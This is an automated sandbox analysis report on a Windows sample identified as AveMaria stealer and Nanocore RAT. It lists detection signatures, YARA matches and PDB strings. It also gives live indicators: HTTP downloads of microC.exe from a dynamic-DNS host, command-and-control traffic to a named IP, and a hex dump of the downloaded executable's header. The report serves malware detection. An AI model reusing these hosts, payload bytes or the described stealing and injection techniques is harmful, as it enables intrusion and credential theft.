Windows Analysis Report Xjf4yH9N2t.exe

Overview

General Information

Sample Name: Xjf4yH9N2t.exe
Analysis ID: 457791
MD5: 2318b60075e442cb6141535e268e4df0
SHA1: 6d2e6e0bfdb0e649e0079533ecdbe302ff9dc8b5
SHA256: cdbe67339a29bfe3066a18b4e68e9b19e28e449ab21ce23a85ed15e04c5255df
Tags: AveMariaRATexeRAT
Infos:

Most interesting Screenshot:

Detection

Nanocore AveMaria
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Detected Nanocore Rat
Detected unpacking (creates a PE file in dynamic memory)
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Sigma detected: NanoCore
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected AveMaria stealer
Yara detected Nanocore RAT
Allocates memory in foreign processes
Connects to many ports of the same IP (likely port scanning)
Contains functionality to hide user accounts
Contains functionality to inject threads in other processes
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal e-mail passwords
Creates a thread in another existing process (thread injection)
Creates an undocumented autostart registry key
Hides that the sample has been downloaded from the Internet (zone.identifier)
Hides user accounts
Increases the number of concurrent connection per server for Internet Explorer
Installs a global keyboard hook
Machine Learning detection for dropped file
Machine Learning detection for sample
Tries to harvest and steal browser information (history, passwords, etc)
Uses dynamic DNS services
Writes to foreign memory regions
Antivirus or Machine Learning detection for unpacked file
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to call native functions
Contains functionality to create new users
Contains functionality to download and execute PE files
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates or modifies windows services
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
Installs a raw input device (often for capturing keystrokes)
May sleep (evasive loops) to hinder dynamic analysis
Modifies existing windows services
PE file contains strange resources
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Direct Autorun Keys Modification
Spawns drivers
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Yara detected Credential Stealer
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://hutyrtit.ydns.eu/microC.exe Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: http://hutyrtit.ydns.eu/ Virustotal: Detection: 13% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe ReversingLabs: Detection: 19%
Source: C:\Program Files\Microsoft DN1\sqlmap.dll Metadefender: Detection: 20% Perma Link
Source: C:\Program Files\Microsoft DN1\sqlmap.dll ReversingLabs: Detection: 42%
Source: C:\ProgramData\images.exe ReversingLabs: Detection: 19%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\microC[1].exe ReversingLabs: Detection: 19%
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe ReversingLabs: Detection: 19%
Yara detected AveMaria stealer
Source: Yara match File source: 22.2.images.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.images.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000016.00000003.295384673.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248801127.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248863856.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295297154.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248772250.0000000000FD5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248878230.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295398863.0000000000E28000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.472129392.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Yara detected Nanocore RAT
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5264629.19.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5260000.20.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5260000.20.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d08a28.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d08a28.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e8db04.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d0d051.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e7fc2f.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e88e65.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000028.00000002.476683090.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.482137152.0000000005260000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.479953948.0000000003D00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.472289227.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.480292301.0000000003E77000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: KetqqsbuJ.exe PID: 5916, type: MEMORYSTR
Machine Learning detection for dropped file
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\microC[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Joe Sandbox ML: detected
Source: C:\ProgramData\images.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: Xjf4yH9N2t.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 40.2.KetqqsbuJ.exe.5260000.20.unpack Avira: Label: TR/NanoCore.fadte
Source: 22.2.images.exe.400000.2.unpack Avira: Label: TR/Crypt.XPACK.Gen2
Source: 40.2.KetqqsbuJ.exe.3d08a28.9.unpack Avira: Label: TR/NanoCore.fadte
Source: 40.2.KetqqsbuJ.exe.400000.0.unpack Avira: Label: TR/Dropper.MSIL.Gen7
Source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack Avira: Label: TR/Crypt.XPACK.Gen2

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040A8C3 lstrlenA,CryptStringToBinaryA,lstrcpyA, 7_2_0040A8C3
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040C261 CryptUnprotectData,LocalAlloc,LocalFree, 7_2_0040C261
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040C3B9 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree, 7_2_0040C3B9
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040C419 BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey, 7_2_0040C419
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00409D97 RegQueryValueExW,GlobalAlloc,CryptUnprotectData,lstrcpyW, 7_2_00409D97
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040C6BD LocalAlloc,BCryptDecrypt,LocalFree, 7_2_0040C6BD

Compliance:

barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\ProgramData\images.exe Unpacked PE file: 22.2.images.exe.4240000.5.unpack
Uses 32bit PE files
Source: Xjf4yH9N2t.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Directory created: C:\Program Files\Microsoft DN1 Jump to behavior
Source: C:\ProgramData\images.exe Directory created: C:\Program Files\Microsoft DN1\sqlmap.dll Jump to behavior
Source: C:\ProgramData\images.exe Directory created: C:\Program Files\Microsoft DN1\rdpwrap.ini Jump to behavior
Source: Xjf4yH9N2t.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: Xjf4yH9N2t.exe, 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, images.exe, 00000016.00000003.295362829.0000000000E39000.00000004.00000001.sdmp
Source: Binary string: >+D C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: Xjf4yH9N2t.exe, 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, images.exe, 00000016.00000003.295362829.0000000000E39000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\MyNanoCore RemoteScripting\MyClientPlugin\obj\Debug\MyClientPluginNew.pdb source: KetqqsbuJ.exe, 00000028.00000002.483106332.0000000006C00000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp
Source: Binary string: RfxVmt.pdb source: images.exe, 00000016.00000003.313698047.00000000049CB000.00000004.00000001.sdmp
Source: Binary string: RfxVmt.pdbGCTL source: images.exe, 00000016.00000003.313698047.00000000049CB000.00000004.00000001.sdmp
Source: Binary string: wuser32.pdb source: images.exe, 00000016.00000002.481006617.0000000004240000.00000040.00000001.sdmp
Source: Binary string: C:\Users\Liam\Documents\Visual Studio 2013\Projects\NanoCoreStressTester\NanoCoreStressTester\obj\Debug\NanoCoreStressTester.pdb source: KetqqsbuJ.exe, 00000028.00000002.483194992.0000000006C40000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Liam\Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: KetqqsbuJ.exe, 00000028.00000002.477157085.0000000002D0B000.00000004.00000001.sdmp
Source: Binary string: G:\Users\Andy\Documents\Visual Studio 2013\Projects\NanocoreBasicPlugin\NanoCoreBase\obj\Debug\NanoCoreBase.pdb source: KetqqsbuJ.exe, 00000028.00000002.483052985.0000000006AB0000.00000004.00000001.sdmp
Source: Binary string: wuser32.pdbUGP source: images.exe, 00000016.00000002.481006617.0000000004240000.00000040.00000001.sdmp
Source: Binary string: P:\Visual Studio Projects\Projects 15\NanoNana\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: KetqqsbuJ.exe, 00000028.00000002.483164345.0000000006C30000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: images.exe, 00000016.00000002.481576820.000000000446C000.00000004.00000001.sdmp
Source: Binary string: C:\Users\Cole\Documents\Visual Studio 2013\Projects\FileBrowserPlugin\FileBrowserClient\obj\Debug\FileBrowserClient.pdb source: KetqqsbuJ.exe, 00000028.00000002.483125552.0000000006C10000.00000004.00000001.sdmp
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00411446 FindFirstFileW,FindNextFileW, 7_2_00411446
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040955B GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA, 7_2_0040955B
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0041154A GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW, 7_2_0041154A

Software Vulnerabilities:

barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\KetqqsbuJ.exe Code function: 4x nop then lea esp, dword ptr [ebp-08h] 40_2_06CD3620

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49738 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49739 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49740 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49741 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49744 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49745 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49746 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49747 -> 203.159.80.186:8234
Source: Traffic Snort IDS: 2025019 ET TROJAN Possible NanoCore C2 60B 192.168.2.3:49748 -> 203.159.80.186:8234
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 203.159.80.186 ports 8234,0,3,6,7,6703
Uses dynamic DNS services
Source: unknown DNS query: name: hhjhtggfr.duckdns.org
Contains functionality to download and execute PE files
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040290E URLDownloadToFileW,ShellExecuteW, 7_2_0040290E
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.3:49727 -> 203.159.80.186:6703
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Mon, 02 Aug 2021 07:13:53 GMTAccept-Ranges: bytesETag: "382415f36d87d71:0"Server: Microsoft-IIS/8.5Date: Mon, 02 Aug 2021 08:17:47 GMTContent-Length: 1378816Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 31 9b 07 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 2e 14 00 00 da 00 00 00 00 00 00 06 4c 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 15 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 4b 14 00 4f 00 00 00 00 60 14 00 20 d6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 15 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0c 2c 14 00 00 20 00 00 00 2e 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 20 d6 00 00 00 60 14 00 00 d8 00 00 00 30 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 15 00 00 02 00 00 00 08 15 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 4b 14 00 00 00 00 00 48 00 00 00 02 00 05 00 90 30 01 00 64 ab 02 00 03 00 00 00 73 01 00 06 f4 db 03 00 c0 6f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 1d 00 00 0a 2a 26 00 02 28 1e 00 00 0a 00 2a ce 73 1f 00 00 0a 80 01 00 00 04 73 20 00 00 0a 80 02 00 00 04 73 21 00 00 0a 80 03 00 00 04 73 22 00 00 0a 80 04 00 00 04 73 23 00 00 0a 80 05 00 00 04 2a 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 24 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 25 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 26 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 27 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 28 00 00 0a 0a 2b 00 06 2a 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06 00 00 04 14 28 29 00 00 0a 0b 07 2c 21 72 01 00 00 70 d0 05 00 00 02 28 2a 00 00 0a 6f 2b 00 00 0a 73 2c 00 00 0a 0c 08 80 06 00 00 04 00 00 7e 06 00 00 04 0a 2b 00 06 2a 13 30 01 00 0b 00 00 00 07 00 00 11 00 7e 07 00 00 04 0a 2b 00 06 2a 22 00 02 80 07 00 00 04 2a 13 30 03 00 26 00 00 00 0
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /microC.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hutyrtit.ydns.euConnection: Keep-Alive
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040290E URLDownloadToFileW,ShellExecuteW, 7_2_0040290E
Source: global traffic HTTP traffic detected: GET /microC.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: hutyrtit.ydns.euConnection: Keep-Alive
Source: unknown DNS traffic detected: queries for: sdafsdffssffs.ydns.eu
Source: KetqqsbuJ.exe, 00000028.00000002.483164345.0000000006C30000.00000004.00000001.sdmp String found in binary or memory: http://google.com
Source: images.exe, 00000016.00000003.309020359.0000000000E50000.00000004.00000001.sdmp String found in binary or memory: http://hutyrtit.ydns.eu/
Source: images.exe, 00000016.00000002.474849931.0000000000E2B000.00000004.00000020.sdmp String found in binary or memory: http://hutyrtit.ydns.eu/microC.exe
Source: images.exe, 00000016.00000003.309020359.0000000000E50000.00000004.00000001.sdmp String found in binary or memory: http://hutyrtit.ydns.eu/microC.exe=S;X
Source: images.exe, 00000016.00000003.309020359.0000000000E50000.00000004.00000001.sdmp String found in binary or memory: http://hutyrtit.ydns.eu/microC.exeASwX
Source: images.exe, 00000016.00000003.309020359.0000000000E50000.00000004.00000001.sdmp String found in binary or memory: http://hutyrtit.ydns.eu/qB
Source: images.exe, 00000016.00000003.313221869.0000000000EB7000.00000004.00000001.sdmp String found in binary or memory: http://stascorp.comDVarFileInfo$
Source: Xjf4yH9N2t.exe String found in binary or memory: https://github.com/syohex/java-simple-mine-sweeper
Source: Xjf4yH9N2t.exe, 00000007.00000003.248801127.0000000000FD9000.00000004.00000001.sdmp, images.exe, 00000016.00000003.295384673.0000000000E24000.00000004.00000001.sdmp String found in binary or memory: https://github.com/syohex/java-simple-mine-sweeperC:
Source: images.exe, 00000016.00000003.309020359.0000000000E50000.00000004.00000001.sdmp String found in binary or memory: https://login.live.com
Source: images.exe, 00000016.00000002.482254171.0000000004A17000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chro
Source: images.exe, 00000016.00000002.482254171.0000000004A17000.00000004.00000001.sdmp, images.exe, 00000016.00000002.482229544.00000000049CB000.00000004.00000001.sdmp, images.exe, 00000016.00000002.482220451.00000000049A0000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: images.exe, 00000016.00000002.482229544.00000000049CB000.00000004.00000001.sdmp, images.exe, 00000016.00000002.482220451.00000000049A0000.00000004.00000001.sdmp String found in binary or memory: https://support.google.com/chrome/answer/6258784

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Installs a global keyboard hook
Source: C:\ProgramData\images.exe Windows user hook set: 0 keyboard low level C:\ProgramData\images.exe Jump to behavior
Contains functionality to retrieve information about pressed keystrokes
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_0040813A GetAsyncKeyState,wsprintfW,GetAsyncKeyState,wsprintfW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetKeyNameTextW,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,CallNextHookEx, 7_2_0040813A
Installs a raw input device (often for capturing keystrokes)
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00408793 DefWindowProcA,GetRawInputData,GetRawInputData,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrcpyW,CreateFileW,WriteFile,lstrlenW,WriteFile,lstrlenW,WriteFile,WriteFile,lstrlenW,WriteFile,lstrlenW,WriteFile,lstrlenW,WriteFile,CloseHandle,PostQuitMessage,RegisterRawInputDevices, 7_2_00408793

E-Banking Fraud:

barindex
Yara detected AveMaria stealer
Source: Yara match File source: 22.2.images.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.Xjf4yH9N2t.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 22.2.images.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000016.00000003.295384673.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248801127.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248863856.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295297154.0000000000E24000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.251556830.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248772250.0000000000FD5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.248878230.0000000000FD9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000003.295398863.0000000000E28000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.472129392.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Yara detected Nanocore RAT
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5264629.19.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5260000.20.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.5260000.20.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d08a28.9.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d08a28.9.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e8db04.11.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3d0d051.10.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e7fc2f.13.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 40.2.KetqqsbuJ.exe.3e88e65.12.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000028.00000002.476683090.0000000002CA1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.482137152.0000000005260000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.479953948.0000000003D00000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.472289227.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000028.00000002.480292301.0000000003E77000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: KetqqsbuJ.exe PID: 5916, type: MEMORYSTR
Source: C:\Users\user\Desktop\Xjf4yH9N2t.exe Code function: 7_2_00413695 CreateDesktopW,AssocQueryStringW,PathFindFileNameW,CharLowerW,PathFindFileNameW,CharLowerW,SHFileOperationW,CreateDirectoryW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateProcessW,CreateProcessW,SHFileOperationW,CreateDirectoryW,GetPrivateProfileStringW,CreateProcessW,CreateProcessW,WaitForSingleObject,CreateFileW,WriteFile,CloseHandle,CreateProcessW,GetPrivateProfileStringW,CreateFileW,WriteFile,CloseHandle,CreateProcessW,CreateProcessW,CreateProcessW, 7_2_00413695

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 40.2.KetqqsbuJ.exe.6c50000.31.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c70000.32.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.60a0000.24.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3cb81d4.6.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.5264629.19.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.5260000.20.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 22.2.images.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 22.2.images.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: AveMaria_WarZone Author: unknown
Source: 40.2.KetqqsbuJ.exe.6cc0000.36.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.5260000.20.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3d08a28.9.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.40006e6.16.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3e7fc2f.13.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c30000.29.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.2d270d0.5.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.3d08a28.9.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 40.2.KetqqsbuJ.exe.6c00000.26.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
